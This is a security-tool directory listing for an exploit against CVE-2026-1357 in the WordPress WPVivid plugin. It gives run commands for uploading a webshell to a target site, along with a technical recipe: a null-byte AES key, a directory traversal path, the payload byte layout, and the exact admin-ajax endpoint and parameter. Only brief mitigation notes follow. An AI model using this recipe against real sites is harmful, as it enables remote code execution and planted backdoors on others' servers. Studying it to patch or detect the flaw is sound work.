Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Exploit-CVE-2026-1357 — Exploit for CVE-2026-1357 in WordPress WPVivid plugin, enabling remote code execution via crafted AES-encrypted payloads and directory traversal to upload a webshell. | Kitploit
Tools/GitHubGitHub/itsismarcos/exploit-cve-2026-1357
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubitsismarcos/exploit-cve-2026-1357

Exploit-CVE-2026-1357

Exploit for CVE-2026-1357 in WordPress WPVivid plugin, enabling remote code execution via crafted AES-encrypted payloads and directory traversal to upload a webshell.

View Repository
16 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Install dependencies

pip3 install pycryptodome requests

Basic exploit

python3 wpvivi.py http://target.com

Custom webshell

python3 wpvivi.py http://target.com --shell backdoor.php

python3 wpvivi.py http://target.com --code "" Technical explanation: Null Byte Key: When RSA decryption fails, it returns false, which phpseclib treats as "\x00\x00\x00". We use 16 null bytes as the AES-128 ECB key. Directory Traversal: The filename is not sanitized, allowing ../../../../wp-content/uploads/shell.php Payload Format:

[len_key_hex(2 bytes)] + [key_hex] + [len_data_hex(16 bytes)] + [encrypted_data] Execution: POST to /wp-admin/admin-ajax.php?action=wpvivid_action&wpvivid_action=send_to_site wpvivid_content = base64(encrypted payload) Detection and Mitigation:

Patched in 0.9.124:

  • Check if ($key === false || empty($key)) return false;
  • Extension whitelist: zip,gz,tar,sql
Download Tool